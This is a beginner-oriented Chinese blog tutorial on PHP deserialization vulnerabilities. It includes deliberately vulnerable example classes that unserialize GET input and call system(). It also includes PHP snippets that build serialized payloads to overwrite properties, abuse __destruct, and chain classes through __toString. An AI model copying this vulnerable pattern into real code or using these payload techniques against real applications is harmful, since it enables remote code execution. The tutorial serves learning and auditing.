面相小白的php反序列化漏洞原理剖析
前言
欢迎来到我的博客
个人主页:北岭敲键盘的荒漠猫-CSDN博客
本文整理反序列化漏洞的一些成因原理
建议学习反序列化之前
先对php基础语法与面向对象有个大体的了解
(我觉得我整理的比较细致,了解这俩是个啥就行)
漏洞实战情况
这个漏洞黑盒几乎不会被发现,除非极少数个别特别奇葩离谱少见,或者有内鬼作祟,明摆着告诉你这里有个漏洞,你来打我的情况。
大多数是白盒审计得出。
序列化与反序列化概念
需求分析
这里假设我们有一个类对象,我们想要引用可以直接用文件导入。
但是假设我们想要传输这个类对象给其他主机。
我们不可能把整个类的代码都给复制然后发送。
这个时候就需要把他们转化为一种更能方便传输的形式。
这个过程成为序列化。
反序列化则是把序列的产物重新变为类对象
序列化
函数:
serialize()
序列化后的产物模式:
代码演示
<?php
class student{public $name="joker";private $age=11;public function sayhello(){echo "hellohello";}
}$a=new student();
$b=serialize($a);
echo $b;
?>
结果如下:
反序列化
函数:
unserialize()
他就是反过来,能够把序列化的字符串转化为类对象可供使用。
代码演示
<?php
class student{public $name="joker";private $age=11;public function sayhello(){echo "hellohello";}
}$a=new student();
$b=serialize($a);
$c=unserialize($b);
$c->sayhello();
?>
结果如下:
反序列化漏洞的成因与复现
原理分析
目标执行类中本不能执行的eval等危险函数。
反序列化可以覆盖原本的变量值,所以可以帮住我们运行本不应该被运行的区域。
自拟案例演示
以下为一串代码。
<?php
class student{public $name="joker";public $age=11;public function runeval(){echo $this->age; //输出为19if ($this->age >= 18){system("ipconfig"); //原本不能执行的区域被执行}}
}$b=$_GET["x"];
$c=unserialize($b);
$c->runeval();
?>
代码解析
get传递一个x参数,然后把他反序列化,之后运行runeval方法。
类中,有name,age属性,以及一个方法。
方法输出age的值,并且当age>=18的时候就会执行
system
而朋友,system是个高危函数,这里是固定的ipconfig,如果这个参数可控,那么就是一个大漏洞。
但是age明显固定是11啊,根本不会执行system。这里就轮到反序列化漏洞登场。
漏洞利用过程
我们新建一个php文件
把上面类的php代码全复制过来。
<?php
class student{public $name="joker";public $age=11;public function runeval(){echo $this->age; //输出为19if ($this->age >= 18){system("ipconfig"); //原本不能执行的区域被执行}}
}$b=new student;$c=serialize($b);echo $c;
?>
接下来删减代码,仅保留我们要更改的地方
要尽量的减少对原代码运行的影响,防止功能错乱。
这里我们只需要改一个age属性值,让他能过检查即可,那么把age留下其余的全部删除
<?php
class student{public $age=19;
}$b=new student;$c=serialize($b);echo $c;
?>
然后下面给他序列化输出一下。
把这串序列化字符串作为x传入原先的地方。
这里对比一下源代码
<?php
class student{public $name="joker";public $age=11;public function runeval(){echo $this->age; //输出为19if ($this->age >= 18){system("ipconfig"); //原本不能执行的区域被执行}}
}$b=$_GET["x"];
$c=unserialize($b);
$c->runeval();
?>
runeval函数中输出age的地方输出了19
也就是说我们覆盖了原先的11
并且过了检查执行了system。
现在我们试想一下真实场景。
假如这个age是判断你是不是vlp呢?
这样能不能绕过?
对吧,这个就是反序列化漏洞的一个基础的攻击形式。
反序列化进阶操作
在开发中几乎一定会用一些构造方法,类中实例化其他类对象的操作。
而这些操作让我们有更大的操作空间,让这个实例化跟打内网一样在类中各种横向移动建立隧道。
构造方法玩法
开发中几乎类都会执行一些构造方法。
构造方法的特点就是实例化的时候直接执行!!!!
没错直接执行!!!
具体的魔术方法以及作用参考我的这篇文章(太多了。。。)
(有php面向对象基础的可以直接看下面,没有的话先仔细看这个魔术方法,不然看不懂下面是啥)
php反序列化常见魔术方法整理-CSDN博客
看我们之前的代码
<?php
class student{public $name="joker";public $age=11;public function runeval(){echo $this->age; //输出为19if ($this->age >= 18){system("ipconfig"); //原本不能执行的区域被执行}}
}$b=$_GET["x"];
$c=unserialize($b);
$c->runeval();
?>
看下面类对象的实例化。
我们是直接传入然后手动执行了runeval。
但是如果不执行的话,那不就是一点办法没有了嘛。
所以如果他有构造方法,构造方法就会在反序列化的时候自动执行。
大大提升了我们的可玩性!!
看这个代码
<?php
class student{public $name="joker";public $age=11;public function __destruct(){echo "aa";echo $this->age; //输出为19if ($this->age >= 18){system("ipconfig"); //原本不能执行的区域被执行}}}$b=$_GET["x"];
$c=unserialize($b);
?>
仅仅进行了反序列化,并没有执行方法,但是类中有一个构造方法。
这个方法会在类结束的时候自动执行,所以不好意思,上一个payload依旧秒掉。
(注意一下实例化加个(),我上面给忘了。。。)
<?php
class student{public $age=19;
}$b=new student();$c=serialize($b);echo $c;
?>
pop链类跳跃
看下面代码
<?php
class student1{public $name="joker";public $age=11;public function getip(){echo system("ipconfig");}
}class student2{public $name;public $age;public function __toString(){echo "runing";$this->name->{$this->age}();
}
}$b=$_GET["x"];
$c=unserialize($b);
echo $c;
?>
这里有两个类,仅仅靠源代码,他们毫无关联。
很明显system在student1中
然而getip方法显然是没有被执行的。
student2有toString的方法,如果类对象被当做字符串处理则会执行。
而下面那个echo明显作为了字符串,所以能够执行toString。
然后里面的
$this->name->{$this->age}();
两个属性值都能够被反序列化恶意更改让他实例化为student1并执行函数。
所以
<?php
class student1{
}class student2{public $name;public $age="getip";
}$c=new student2();$z=new student1();$c->name=$z;$d=serialize($c);echo $d;
?>
结语
看到这应该就会了解php反序列化漏洞的一个工作原理了。
但还是老规矩绕过策略与特殊玩法写在别的博客中。
别问我为毛老说写一个完整体系结果又写别的去了。。。
因为我写的过程中遇到一个点攻不破我就想摆烂了。
相关文章:

面相小白的php反序列化漏洞原理剖析
前言 欢迎来到我的博客 个人主页:北岭敲键盘的荒漠猫-CSDN博客 本文整理反序列化漏洞的一些成因原理 建议学习反序列化之前 先对php基础语法与面向对象有个大体的了解 (我觉得我整理的比较细致,了解这俩是个啥就行) 漏洞实战情况 这个漏洞黑盒几乎不会被发现&am…...

文本转SQL(Text-to-SQL),场景介绍与 Spring AI 实现
在众多的 AI 大模型的应用场景中,Text-to-SQL,也就是文本转 SQL,是其中实用性很高的一个。Text-to-SQL 充分利用了大模型的优势,把用户提供的自然语言描述转换成 SQL 语句,还可以执行生成的 SQL 语句,再把查…...

科研绘图系列:R语言组合堆积图(stacked plot)
文章目录 介绍加载R包数据数据预处理画图1画图2组合图形系统信息介绍 堆积图(Stacked Chart),也称为堆叠图,是一种常用的数据可视化图表,主要用于展示不同类别的数据量在总体中的分布情况。堆积图可以是柱状图、条形图或面积图的形式,其中各个类别的数据量被叠加在一起,…...
YOLOv11及自研模型更新汇总
YOLOv11使用教程:YOLOv11入门到入土使用教程(含结构图) 缝合教程:深度学习模块创作(缝合)教程|适合1-360月小宝宝食用,干货满满 YOLO中的yaml文件详解:https://xy2668825911.blog.csdn.net/article/details…...
系统安全架构
一个完整的信息安全系统至少包含三类措施: 技术方面的安全措施, 管理方面的安全措施 相应的政策法律。 网络安全威胁 授权侵犯:为某一特权使用一个系统的人却将该系统用作其他未授权的目的。假冒:一个实体(人或系统)假装成另一个实体非法…...

Qt(程序打包)
Qt开发的程序最终都是要给用户使用的,用户的电脑上不可能装一个Qt的开发环境导入项目使用。因此项目项目开发完成后需要打包——制作成安装包,用户直接下载并安装即可使用。 1. 设置图标 设置图标的操作步骤如下: 1. 准备好图标文件ÿ…...

牛客sql题目总结(1)
1.第N高的薪水 AC: create function getnthhighestsalary(n int) returns int begindeclare m int; set m n - 1; return (select distinct salaryfrom employeeorder by salary desclimit m, 1); end 2.平均播放进度大于60%的视频类别 AC: select tb_video_info…...

RocketMQ 自动注入消费者
目录 前言一、情景介绍二、问题分析三、代码实现 前言 之前接到一个需求,我们项目的技术负责人希望通过配置的形式,在项目启动的时候自动根据配置生成对应的消费者 觉得还有点意思,随即记录一下~ 一、情景介绍 比如我这里有一个消费者 Mes…...

RibbitMQ-安装
本文主要介绍RibbitMQ的安装 RabbitMQ依赖于Erlang,因此首先需要安装Erlang环境。分别下载erlang-26.2.5-1.el7.x86_64.rpm、rabbitmq-server-4.0.3-1.el8.noarch.rpm 官网地址:https://www.rabbitmq.com/ 官网文档:https://www.rabbitmq.c…...

非计算机背景但是想从事医学AI研究,需要掌握的编程语言|个人观点·24-11-08
小罗碎碎念 目前,我们从事医学AI研究的,接触的最多的两种编程语言应该就是R和Python了。那么初学者很容易提出一个疑问,**我想从事医学AI相关的研究的话,应该学哪些编程语言呢?**在文章的开头,我可以先给出…...

内置函数【MySQL】
文章目录 日期函数字符串函数数学函数其他函数 日期函数 current_date函数用于获取当前的日期 mysql> select current_date(); ---------------- | current_date() | ---------------- | 2024-11-03 | ---------------- 1 row in set (0.00 sec)current_time函数用于获…...

RNA-seq 差异分析的点点滴滴(1)
引言 本系列[1])将开展全新的转录组分析专栏,主要针对使用DESeq2时可能出现的问题和方法进行展开。 为何使用未经标准化的计数数据? DESeq2 工具包在接收输入时,期望得到的是未经处理的原始计数数据,比如从 RNA-seq 或其他高通量测…...

Windows10/11开启卓越性能模式 windows开启卓越性能电源模式 工作电脑开启卓越性能模式 电脑开启性能模式
Windows10/11开启卓越性能模式 windows开启卓越性能电源模式 工作电脑开启卓越性能模式 电脑开启性能模式 1、所要用到的激活工具2、开启电脑卓越性能模式Windows11Windows10在电源模式中选择卓越性能模式 3、将系统版本切换为 工作站版本 1、所要用到的激活工具 KMS激活工具(…...

day20-21之间的项目实战:若依ruoyi开发(可以跳过)
一,项目概述 官网文档地址:http://doc.ruoyi.vip/ rouyi是一个后台管理系统,基于经典技术组合(spring boot,apache shiro,mybatis,thymeleaf)主要是让开发者注重专注业务࿰…...

双向链表及如何使用GLib的GList实现双向链表
双向链表是一种比单向链表更为灵活的数据结构,与单向链表相比可以有更多的应用场景,本文讨论双向链表的基本概念及实现方法,并着重介绍使用GLib的GList实现单向链表的方法及步骤,本文给出了多个实际范例源代码,旨在帮助…...

ProCalun卡伦纯天然万用膏,全家的皮肤健康守护
受季节交替、生活环境变化、空气污染等方面因素的影响,加上作息不规律导致的免疫力降低,我们或多或少会出现一些如湿疹、痤疮、瘙痒之类的皮肤问题,且反复概率很高。很多人盲目用药,甚至诱发激素依赖性皮炎。所以近年来࿰…...

FastAPI全方位分析:优劣尽显
近年来,随着技术的飞速发展,快速构建高性能API的需求越来越强烈。Python作为一个广泛使用的编程语言,也在这一领域下涌现出了许多优秀的框架。FastAPI便是其中一颗璀璨的新星。 FastAPI以其卓越的性能和独特的功能吸引了众多开发者。本文将深入剖析FastAPI的各个方面,详细…...

【rust】rust基础代码案例
文章目录 代码篇HelloWorld斐波那契数列计算表达式(加减乘除)web接口 优化篇target/目录占用一个g,仅仅一个actix的helloWorld demo升级rust版本, 通过rustupcargo换源windows下放弃吧,需要额外安装1g的toolchain并且要…...

【深度学习】PromptFix:多功能AI修图
PromptFix:你来提示,我们修图 NeurIPS 2024 最近,在计算机视觉和图像处理领域,一个名为PromptFix的新项目引起了广泛关注。PromptFix是一个基于PyTorch实现的开源项目,旨在根据用户的自然语言指令,对受损或需要处理的图像进行智能修复和优化。 本文将详细介绍PromptFix…...

2024最新AI绘画系统软件(Midjourney)+GPT4文档分析总结,多模态识图理解,AI文生图/图生图/混图生图(图像混合)
一、前言 人工智能的快速发展已成为全球关注的焦点,其应用领域广泛,涵盖绘图、语言处理、视频编辑等。前沿技术不仅推动科技创新,还在艺术创作、内容生产和商业实践等方面展示出巨大潜力。例如,AI语言模型显著提升了内容自动生成、…...
Python|GIF 解析与构建(5):手搓截屏和帧率控制
目录 Python|GIF 解析与构建(5):手搓截屏和帧率控制 一、引言 二、技术实现:手搓截屏模块 2.1 核心原理 2.2 代码解析:ScreenshotData类 2.2.1 截图函数:capture_screen 三、技术实现&…...

【入坑系列】TiDB 强制索引在不同库下不生效问题
文章目录 背景SQL 优化情况线上SQL运行情况分析怀疑1:执行计划绑定问题?尝试:SHOW WARNINGS 查看警告探索 TiDB 的 USE_INDEX 写法Hint 不生效问题排查解决参考背景 项目中使用 TiDB 数据库,并对 SQL 进行优化了,添加了强制索引。 UAT 环境已经生效,但 PROD 环境强制索…...
线程同步:确保多线程程序的安全与高效!
全文目录: 开篇语前序前言第一部分:线程同步的概念与问题1.1 线程同步的概念1.2 线程同步的问题1.3 线程同步的解决方案 第二部分:synchronized关键字的使用2.1 使用 synchronized修饰方法2.2 使用 synchronized修饰代码块 第三部分ÿ…...
条件运算符
C中的三目运算符(也称条件运算符,英文:ternary operator)是一种简洁的条件选择语句,语法如下: 条件表达式 ? 表达式1 : 表达式2• 如果“条件表达式”为true,则整个表达式的结果为“表达式1”…...

【配置 YOLOX 用于按目录分类的图片数据集】
现在的图标点选越来越多,如何一步解决,采用 YOLOX 目标检测模式则可以轻松解决 要在 YOLOX 中使用按目录分类的图片数据集(每个目录代表一个类别,目录下是该类别的所有图片),你需要进行以下配置步骤&#x…...
C++.OpenGL (10/64)基础光照(Basic Lighting)
基础光照(Basic Lighting) 冯氏光照模型(Phong Lighting Model) #mermaid-svg-GLdskXwWINxNGHso {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-GLdskXwWINxNGHso .error-icon{fill:#552222;}#mermaid-svg-GLd…...
OpenLayers 分屏对比(地图联动)
注:当前使用的是 ol 5.3.0 版本,天地图使用的key请到天地图官网申请,并替换为自己的key 地图分屏对比在WebGIS开发中是很常见的功能,和卷帘图层不一样的是,分屏对比是在各个地图中添加相同或者不同的图层进行对比查看。…...

Selenium常用函数介绍
目录 一,元素定位 1.1 cssSeector 1.2 xpath 二,操作测试对象 三,窗口 3.1 案例 3.2 窗口切换 3.3 窗口大小 3.4 屏幕截图 3.5 关闭窗口 四,弹窗 五,等待 六,导航 七,文件上传 …...

如何更改默认 Crontab 编辑器 ?
在 Linux 领域中,crontab 是您可能经常遇到的一个术语。这个实用程序在类 unix 操作系统上可用,用于调度在预定义时间和间隔自动执行的任务。这对管理员和高级用户非常有益,允许他们自动执行各种系统任务。 编辑 Crontab 文件通常使用文本编…...
CRMEB 中 PHP 短信扩展开发:涵盖一号通、阿里云、腾讯云、创蓝
目前已有一号通短信、阿里云短信、腾讯云短信扩展 扩展入口文件 文件目录 crmeb\services\sms\Sms.php 默认驱动类型为:一号通 namespace crmeb\services\sms;use crmeb\basic\BaseManager; use crmeb\services\AccessTokenServeService; use crmeb\services\sms\…...